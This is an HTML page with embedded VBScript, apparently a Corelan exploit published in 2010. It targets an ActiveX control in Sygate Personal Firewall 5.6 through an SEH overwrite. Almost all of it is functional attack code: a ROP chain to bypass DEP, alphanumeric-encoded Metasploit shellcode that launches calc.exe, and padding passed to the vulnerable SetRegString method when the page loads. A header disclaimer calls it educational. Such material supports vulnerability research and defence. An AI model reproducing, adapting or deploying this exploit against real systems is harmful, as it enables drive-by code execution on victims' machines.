<html> <!-- |------------------------------------------------------------------| | __ __ | | _________ ________ / /___ _____ / /____ ____ _____ ___ | | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | | / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / | | \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ | | | | http://www.corelan.be:8800 | | security@corelan.be | | | |-------------------------------------------------[ EIP Hunters ]--| # Software : Sygate Personal Firewall 5.6 build 2808 ActiveX w/ DEP bypass # Author : Lincoln # Date : June 11, 2010 # Reference : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-050 # OS : Windows # Tested on : XP SP3 En (VirtualBox) # Type of vuln : SEH # Greetz to : Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # # Bad Chars: 80-9f (makes for extra fun) # Tested on IE 7/6 , nop slide used # # -->
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' ></object> <script language='vbscript'>
seh = unescape("%13%16%47%06") '#ADD ESP,46C # RETN
rop = rop + String(72, "D") '#Junk rop = rop + unescape("%19%16%47%06") '#Nop rop = rop + unescape("%19%16%47%06") '#Nop rop = rop + unescape("%19%16%47%06") '#Nop rop = rop + unescape("%19%16%47%06") '#Nop rop = rop + unescape("%19%16%47%06") '#Nop rop = rop + unescape("%19%16%47%06") '#Nop rop = rop + unescape("%19%16%47%06") '#Nop
'#edx rop = rop + unescape("%33%b6%44%06") '#POP EBP # RETN rop = rop + unescape("%01%c0%4b%06") rop = rop + unescape("%65%b9%47%06") '#MOV EDX,EBP # POP REGISTERS CHAIN #RETN
'#alignment rop = rop + unescape("%7c%bd%47%06") '#POP data into registers rop = rop + unescape("%49%50%45%06") rop = rop + unescape("%41%41%41%41") rop = rop + unescape("%ff%ff%ff%ff") rop = rop + unescape("%50%50%50%50")
'#ebx rop = rop + unescape("%b2%7d%48%06") '#ADD EAX,80 # POP EBP # RETN rop = rop + unescape("%41%41%41%41") '#Junk rop = rop + unescape("%b2%7d%48%06") '#ADD EAX,80 # POP EBP # RETN rop = rop + unescape("%41%41%41%41") '#Junk rop = rop + unescape("%b2%7d%48%06") '#ADD EAX,80 # POP EBP # RETN rop = rop + unescape("%41%41%41%41") '#Junk rop = rop + unescape("%d9%c4%47%06") '#ADD EBX,EAX # PUSH 1 # POP EAX # RETN
'#ebp rop = rop + unescape("%dd%c4%47%06") '#POP EAX # RETN rop = rop + unescape("%1f%73%d0%cc") rop = rop + unescape("%ae%f5%47%06") '#SUB EAX,ECX # RETN rop = rop + unescape("%30%14%45%06") '#MOV EBP,EAX # CALL ESI
'#esi rop = rop + unescape("%22%cd%46%06") '#POP ESI # RETN rop = rop + unescape("%ff%ff%ff%ff")
'#eax rop = rop + unescape("%dd%c4%47%06") '#POP EAX # RETN rop = rop + unescape("%63%72%d0%cc") rop = rop + unescape("%ae%f5%47%06") '#SUB EAX,ECX # RETN
'#game over rop = rop + unescape("%47%71%49%06") '#PUSHAD (throw it all on the stack baby!)
'[*] Using Msf::Encoder::Alpha2 with final size of 338 bytes cmd=calc.exe sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49") & _ unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%45") & _ unescape("%58%30%41%31%50%41%42%6b%42%41%55%32%42%42%32%41") & _ unescape("%41%30%41%41%58%42%38%42%42%50%75%6d%39%39%6c%6d") & _ unescape("%38%57%34%77%70%67%70%33%30%4c%4b%63%75%75%6c%6c") & _ unescape("%4b%41%6c%75%55%64%38%55%51%4a%4f%4c%4b%42%6f%46") & _ unescape("%78%4e%6b%61%4f%77%50%65%51%78%6b%63%79%4c%4b%47") & _ unescape("%44%6e%6b%47%71%48%6e%65%61%59%50%6e%79%6c%6c%4f") & _ unescape("%74%4f%30%50%74%47%77%6a%61%5a%6a%54%4d%64%41%5a") & _ unescape("%62%68%6b%4a%54%55%6b%42%74%74%64%47%74%70%75%6b") & _ unescape("%55%6c%4b%61%4f%76%44%66%61%5a%4b%71%76%6c%4b%54") & _ unescape("%4c%72%6b%4c%4b%53%6f%77%6c%56%61%7a%4b%4e%6b%65") & _ unescape("%4c%6c%4b%77%71%38%6b%6b%39%43%6c%71%34%74%44%59") & _ unescape("%53%67%41%6f%30%63%54%6e%6b%63%70%70%30%4e%65%4b") & _ unescape("%70%61%68%36%6c%6c%4b%63%70%46%6c%4c%4b%54%30%77") & _ unescape("%6c%4c%6d%6e%6b%55%38%57%78%38%6b%36%69%6e%6b%6f") & _ unescape("%70%4e%50%73%30%75%50%55%50%6e%6b%33%58%77%4c%43") & _ unescape("%6f%50%31%59%66%65%30%33%66%6e%69%69%68%4f%73%4b") & _ unescape("%70%53%4b%42%70%30%68%4a%50%6e%6a%65%54%51%4f%52") & _ unescape("%48%6f%68%4b%4e%6c%4a%66%6e%33%67%4b%4f%6d%37%51") & _ unescape("%73%50%61%62%4c%70%63%56%4e%73%55%73%48%41%75%47") & _ unescape("%70%45")
junk = String(2814, "D") '3128 mjunk = String(25000, "A")
arg1=1 arg2=1 arg3= rop + sc + junk + seh + mjunk arg4="defaultV" arg5="defaultV"
target.SetRegString arg1 ,arg2 ,arg3 ,arg4 ,arg5
</script> <b><center>Sygate Personal Firewall 5.6 build 2808 ActiveX exploit w/ DEP bypass</b></center> </html>
|